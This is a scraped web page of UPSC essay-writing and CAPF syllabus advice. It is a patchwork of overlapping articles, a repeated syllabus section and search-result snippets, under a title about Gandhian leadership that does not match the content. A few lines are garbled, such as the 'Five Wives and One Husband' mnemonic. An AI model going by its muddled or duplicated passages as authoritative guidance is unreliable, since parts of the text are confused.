Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

  • Preamble to the Constitution
  • FRs and DPSPs
  • Millennium Development Goals (Now Sustainable Development Goals)
  • Quotations by eminent personalities
  • Important Supreme Court judgements
  • Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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  • IAS Essay Strategy , UPSC Essay Strategy , UPSC Mains Strategy Essay

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UPSC CAPF AC Syllabus 2024: The Union Public Service Commission (UPSC) releases the official syllabus and exam pattern for the Central Armed Police Forces (CAPF) examination. Candidates must check the latest syllabus to prepare only the topics that are important from the exam point of view. The UPSC CAPF syllabus contains topics from subjects like general ability and intelligence, general studies, essays and comprehension.

UPSC CAPF AC Syllabus 2024

Upsc capf ac syllabus 2024: overview, upsc capf ac syllabus pdf download, upsc capf syllabus: important topics, upsc capf exam pattern 2024.

  • The UPSC CAPF written exam comprises two papers, i.e., Paper 1 and Paper 2.
  • Paper 1 contains Objective questions. Questions asked in Paper 2 will be descriptive in nature.
  • The medium of Paper 1 is English as well as Hindi. 
  • In Paper 2, candidates will be allowed the option of writing the Essay Component in English or Hindi, but the medium of Precis Writing, Comprehension Components, and other communications/ language skills will be English only.
  • There shall be a negative marking of 1/3rd mark for every incorrect answer in Paper 1, whereas there is no negative marking in Paper 2

How to Cover UPSC CAPF Syllabus 2024?

  • Check the UPSC CAPF exam syllabus 2024 to cover the topics asked in the exam.
  • Choose the expert-recommended books and study material to cover the fundamentals and core topics of all the subjects.
  • Attempt endless questions from mock papers and UPSC CAPF previous year's question papers to review their performance and identify their strengths for better results.
  • Revisit all the covered chapters frequently to remember concepts for a definite period of time.

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  • 7 Easy Steps Essay Writing UPSC Mains Exam

7 Easy Steps on Essay Writing for UPSC Mains Exam

7 easy steps for UPSC Essay Writing

The UPSC Mains Exam has a total of 9 papers which includes an essay paper as well. The Essay Paper in the IAS Mains Exam consists of two sections A and B with four topics each of 125 marks and a total of 250 (125×2) marks. Candidates have to select a topic from each section and write about it in 1,000 to 2,000 words within the given time of three hours. The Essay paper is considered as crucial in determining the final result of selection and ranking of a candidate. The Essay Paper is considered as crucial as it is a compulsory paper and its marks are incorporated in computing the total and moreover what makes it crucial is that there is no in-depth study in an essay unlike optional subjects where any aspirant can claim expertise. Let us take a look at the conventional way of writing an essay that includes introduction, body and conclusion. Though this is fundamental but the concept of an essay when it comes in terms of UPSC Paper it is quite tricky. An essay should be of topical text that is easy to understand or follow and comprehensive, succinct, composite and definite, as well as informative and logical. So, here are a few tips on how to structure an Essay Paper in the UPSC Mains Exam. For the effective composition of an essay one should generally follow the below points that are ideally suggested by the senior UPSC Aspirants and toppers:   What to write in the Essay?

  • Read the topic carefully
  • Think and recollect the points to be included in the topic for 30 minutes

What not to write in the Essay?

  • Provoking Essay
  • Do not get personal
  • Deviating from the subject

Tips to enhance your Essay writing

  • Recommended Reading
  • Reading Books as Hobby

Step-1: Choose the topic with great care

Before choosing the topic, read all the topics more than once and choose the topic wisely from the given choices so that you will find enough points to write about the topic. Once you choose a topic and start to write you may find difficult and tend to change the topic in between which would be foolishness and it will be too late to change the topic as you would have already utilized much time. Read the topic twice and think about the topic for 30 minutes.

Step-2: Think about the topic for 30-minute

Once you have chosen the topic to write don’t start to write immediately instead ‘think about the topic for 30 minutes’. Because when one starts writing without thinking about the topic they may miss out on many important points and in between or at the end they may remember more significant points which would be too late as there would be no enough pace left in the answer sheet or time to write more.   Hence, it is recommended to utilize the first 30 minutes to think about the topic before starting to write as you have three hours to write the essay.

  • Think about the topic for 30 minutes
  • Write down the random points that come to your mind at the end of the sheet
  • Arrange the points that you have jotted down in sequence

Some important tips to make your Essay worthy

Important points to add in Essay

Once you have recalled, collected and noted the points then the next step is to structure it as given below:

  • Introduction
  • Background/past example
  • Main concept/theory
  • Correlate with current event
  • Advantages and disadvantages
  • Suggested Changes

Step-4: Don't be provocative in your writing

It is advised while writing an essay on a topic that may be provocative not to get personal and criticize a person or government in your writing. Some topics would be provocative where you may tend to lose control of your writing and write something in an offensive way, which is not appreciable and recommended as well.   If you are writing about the disadvantages it is suggested to come up with a few reforms that may change the disadvantages into advantages.

Step-5: Remember the quotes correctly

Always memorize the quotes correctly and the name of the person who has quoted them. If you are not sure about the quote then it is advised to leave it instead of writing it incorrectly.

Step-6: Don't deviate from the topic

For effective essay writing one should clearly be sure of the purpose of writing the essay and should remember the “Five Wives and One Husband” concept i.e., – Who?, Why?, What?, When?, Where?, and How?,  that is taught in the school on the first day of Essay Writing. Following this concept will make you stick around the topic and not paddle away from the topic.

Step-7: Recommended Reading

Essay writing also needs continuous reading; hence it is suggested to candidates read diverse topics and books some of the recommended are:

  • Editorial section of The Hindu Newspaper
  • Magazines like Frontline, Kurukshetra, Yojana
  • Watch discussions and debates on television
  • Work on previous question papers essay topic

Finally, when it comes to Essay as one of the papers in the UPSC Exam , it is all about understanding and assessing the personality of a candidate through which his/her views, ideas, suggestions, values, attitude, aptitude, coordination, and communication (written) abilities and other attributes are analyzed that especially UPSC looks for in an aspirant. If you want to analyze or enhance your essay writing skills then participate now in our UPSC Essay Contest and win a cash prize as well as free registration for UPSC Civil Services Mains Test Series.

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how to prepare for essay writing upsc

UPSC CAPF Syllabus 2024: PDF Download for Important Topics

img src="https://img.jagranjosh.com/images/2024/April/2442024/UPSC-CAPF-Syllabus-2024.jpg" width="1200" height="675" />

UPSC CAPF AC Syllabus 2024: The Union Public Service Commission (UPSC) releases the official syllabus and exam pattern for the Central Armed Police Forces (CAPF) examination. Candidates must check the latest syllabus to prepare only the topics that are important from the exam point of view. The UPSC CAPF syllabus contains topics from subjects like general ability and intelligence, general studies, essays and comprehension.

Apart from the prescribed syllabus, candidates should also check the UPSC CAPF updated exam to get insights into the exam structure, maximum marks, number of sections, and other important details. This will allow aspirants to align their strategy based on the latest requirements and adhere to expert guidance to score well in the exam.

UPSC CAPF AC Syllabus 2024

The UPSC CAPF assistant commandant written exam syllabus will consist of two papers, i.e., paper 1 and paper 2. Paper 1 will have 250 marks and will contain questions about general ability and intelligence and the questions in this paper will be of the objective type. However, Paper 2 will be of 200 marks and will contain questions from general studies, essays and comprehension.

UPSC CAPF AC Syllabus 2024: Overview

Check the table below for an overview of the UPSC CAPF syllabus and exam pattern. The table below contains information regarding selection procedure, maximum marks, etc.

UPSC CAPF AC Syllabus PDF Download

Candidates must download the UPSC CAPF syllabus 2024 PDF from the link provided below to ensure that they have covered all of the topics specified by the officials. The direct link to obtain the specific subject UPSC CAPF Exam syllabus is provided below.

UPSC CAPF Syllabus: Important Topics

The UPSC CAPF assistant commandant written exam syllabus is divided into papers, i.e., general ability and intelligence, general studies, essays and comprehension. Check the table below for list of important topics

UPSC CAPF Exam Pattern 2024

Candidates must be familiar with the UPSC CAPF exam pattern 2024 to understand the exam requirements, number of questions, and other exam requirements. Let’s discuss the UPSC CAPF exam pattern below

  • The UPSC CAPF written exam comprises two papers, i.e., Paper 1 and Paper 2.
  • Paper 1 contains Objective questions. Questions asked in Paper 2 will be descriptive in nature.
  • The medium of Paper 1 is English as well as Hindi. 
  • In Paper 2, candidates will be allowed the option of writing the Essay Component in English or Hindi, but the medium of Precis Writing, Comprehension Components, and other communications/ language skills will be English only.
  • There shall be a negative marking of 1/3rd mark for every incorrect answer in Paper 1, whereas there is no negative marking in Paper 2

How to Cover UPSC CAPF Syllabus 2024?

The UPSC CAPF exam is one of the most popular exams in the country. Aspirants must go through the latest UPSC CAPF exam syllabus to understand all the topics that can be asked in the written exam. Here are the best tips and tricks to crack the UPSC CAPF exam 2024 with flying colours.

  • Check the UPSC CAPF exam syllabus 2024 to cover the topics asked in the exam.
  • Choose the expert-recommended books and study material to cover the fundamentals and core topics of all the subjects.
  • Attempt endless questions from mock papers and UPSC CAPF previous year's question papers to review their performance and identify their strengths for better results.
  • Revisit all the covered chapters frequently to remember concepts for a definite period of time.

COMMENTS

  1. Essay Writing for Civil Services Examination

    Writing An Essay. Sticking to the time limit. In the CSE, one has to write two essays in 3 hours which translates into 1 hour 30 minutes for each essay. Out of this, around 45 minutes to 1 hour will be required to write one essay. One can add another 10 minutes for the revision of one essay.

  2. Insights Ias

    My notes, quote collection and sample essays What UPSC says about the essay paper "Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely. Credit will be given for effective and exact expression."

  3. How to Prepare for Essay Paper in UPSC Civil Service Exam

    While preparing for UPSC Civil Services Mains Exam, aspirants spend a lot of time in handling the general studies and optional subjects as well. But they should also focus equally on Essay paper. You need to write two essays, for each one you get four topics to choose from. Each essay accounts for 125 marks.

  4. Essay Syllabus

    UPSC Civil Service Mains Paper 1 (popularly known as essay paper) is now of 250 marks. Candidates may be required to write essays on multiple topics. They will be expected to keep close to the subject of the essay to arrange their ideas in orderly fashion, and to write concisely. Credit will be given for effective and exact expression.

  5. WEEKLY UPSC IAS ESSAY WRITING CHALLENGE

    WEEKLY UPSC IAS ESSAY WRITING CHALLENGES - 2023. December 31, 2023 : The only antidote to mental suffering is physical pain. December 24, 2023 : All Great Changes Are Preceded By Chaos. December 17, 2023 : We are drowning in information, but starved for Knowledge. December 10, 2023 : Violence Is the last resort of the incompetent.

  6. How To Write A Good Essay In Civil Service Mains Exam?

    Understanding Essay Paper in IAS Exam. 250 marks out of 2025 (12.3 %) are the weight-age of essay paper on total Civil Services Mains Marks as per the latest UPSC syllabus. Since 2015, candidates are asked to write two essays out of 8 choices. Each essay is for 125 marks (1000-1200 words). Check the UPSC CSE Essay Syllabus here.

  7. UPSC CSE 2021: AIR 17 Sarthak Agrawal's step-by-step strategy for essay

    But resist the urge of writing an essay like a mystery novel. This is best practiced when you have devoted some 10-20 minutes to plan and outline what you will write. Read | 'Ethics paper is one of the easiest to write, but hardest to prepare for': UPSC AIR 17 Sarthak Agrawal. Ultimately, the key to putting together a strong response is to ...

  8. Essay Writing for UPSC

    Essay Writing for UPSC. The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and ...

  9. UPSC Essay Topics

    To prepare for the UPSC essay, focus on understanding the essay syllabus and past topics to identify recurring themes. Regularly practise writing essays on various topics to improve your writing skills and time management. Structure your essays with a clear introduction, main body, and conclusion. Which is the best source to practise UPSC Essay ...

  10. How to Write an Essay? 9 Tips To Score Better in UPSC Essay Paper

    Therefore, we have compiled a list of 9 superb essay writing tips that'll help you prepare the right way: Right Knowledge. To write an astounding essay for UPSC, you must first possess the correct knowledge. UPSC essay syllabus is not your regular school or college question. Here, along with your knowledge of a topic, your ability to produce ...

  11. Model Essays

    Reach Us 12, Main AB Road, Bhawar Kuan, Indore, Madhya Pradesh, 452007 641, 1 st Floor, Mukherjee Nagar, Delhi-110009 ; 21, Pusa Rd, WEA, Karol Bagh, Delhi-110005

  12. How To Write An Essay For UPSC

    In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B. Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each. Thus, it is ...

  13. 6 Easy Steps On Essay Writing For UPSC Mains Exam 2024

    Essay Writing For Upsc Must Be Clear, And Concise And Relevant To The Topic. Get Top 10 Tips To Write Essays For UPSC! ... To prepare for the UPSC essay paper, you should read extensively on a variety of topics, including politics, society, economy, international relations, and culture. You should also practice writing essays on these topics ...

  14. How to Write Essay in UPSC Exam

    In this paper, you will have to write two essays, each with a word count of 1000-1200. One topic can be selected from a choice of four topics. The Essay Paper is for a total of 250 marks, with one essay for 125 marks. Download UPSC Mains 2021 Essay Paper from the linked article. Download UPSC Mains 2020 Essay Paper from the linked article.

  15. How to write a Good Essay? Tips and Techniques for UPSC Mains

    Writing a good essay is an essential skill for success in the UPSC Civil Services Exam. Join us as we explore the art of essay writing and provide valuable t...

  16. UPSC ESSAY STRATEGY: How to Write an Essay!

    As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don't do anything foolish. Use quotes selectively and wisely. Not using a quote is way better than using it wrongly.

  17. Essay Writing for UPSC: Books, Syllabus, How to Write Essay?

    Essay Writing for UPSC: Candidates preparing for the 2023 Civil Services exam must be well versed in Essay Writing for UPSC as it is an important paper in the Mains exam.In the UPSC essay paper, 2 essays have to be written in 3 hours of time.Each essay carries 125 marks in total, which makes this paper worth 250 marks. The word limit for each essay is 1000 to 1200 words.

  18. CSE 2018 Topper AIR 3 Junaid Ahmad

    Learn with Top UPSC CSE educators here: http://bit.ly/UPSCCSEPreparationUse code 'CTwT' and get 10% off on your subscriptionWatch the full playlist here: htt...

  19. How to Write the Essay Paper for UPSC Civil Services Preparation

    Make your shifts seamless and smooth. Let there be a natural flow of points. This indicates clarity of thoughts. It should contain quotes, headings, sub-headings and diagrams if required. It should be structured appropriately. Things to avoid in a UPSC essay question paper. Avoid writing in the first person.

  20. How to prepare for Essay? The art of Essay Writing

    Enrol to StudyIQ's Flagship UPSC IAS (Pre + Mains) LIVE Foundation Batch 9. Admissions closing on 10 DEC'22 | Enrol now - https://bit.ly/upscbatch9A time-te...

  21. Strategy: Answer Writing for CSE MAINS

    How to structure your answer. Step 1: Write a fitting introduction to your answer. Ideally, the introduction should not only introduce the topic/issue/idea to the examiner but also (very) briefly narrate the central premise of the answer. If the question has two or more parts, then all parts must be introduced briefly.

  22. Demo Class

    Drishti IAS is pleased to announce the launch of its ESSAY COURSE by Dr Vikas Divyakirti at our Karol Bagh Centre, New Delhi.In this video, Dr Vikas Divyakir...

  23. UPSC 2023 Topper's Mock Essay Goes Viral, Sparking Debate on Exam

    Aditya Srivastava. NEW DELHI: The Union Public Service Commission (UPSC) recently declared its Civil Services Examination (CSE) results, with Lucknow's Aditya Srivastava emerging as the top scorer ...

  24. UPSC CAPF Syllabus 2024: PDF Download for Important Topics

    UPSC CAPF Syllabus 2024. The UPSC CAPF written exam syllabus will consist of two papers, i.e., paper 1 and paper 2. Paper 1 will have 250 marks and will contain questions about general ability and ...

  25. How To Write Essay

    -----About Video----- How To Write Essay | UPSC | MPSC Foundation 2025 | Strategy Lecture | By - Sayli Madam -----...

  26. 7 Easy Steps on Essay Writing for UPSC Mains Exam

    Some important tips to make your Essay worthy. Once you have recalled, collected and noted the points then the next step is to structure it as given below: Introduction. Background/past example. Main concept/theory. Correlate with current event. Advantages and disadvantages. Suggested Changes. Conclusion.

  27. UPSC Mains Answer Writing Practice -23-4-2024

    Insights IAS: Simplifying UPSC IAS Exam Preparation. InsightsIAS has redefined, revolutionized and simplified the way aspirants prepare for UPSC IAS Civil Services Exam. Today, it's India's top website and institution when it comes to imparting quality content, guidance and teaching for the IAS Exam.

  28. UPSC CAPF Syllabus 2024: PDF Download for Important Topics

    UPSC CAPF AC Syllabus 2024. The UPSC CAPF assistant commandant written exam syllabus will consist of two papers, i.e., paper 1 and paper 2. Paper 1 will have 250 marks and will contain questions ...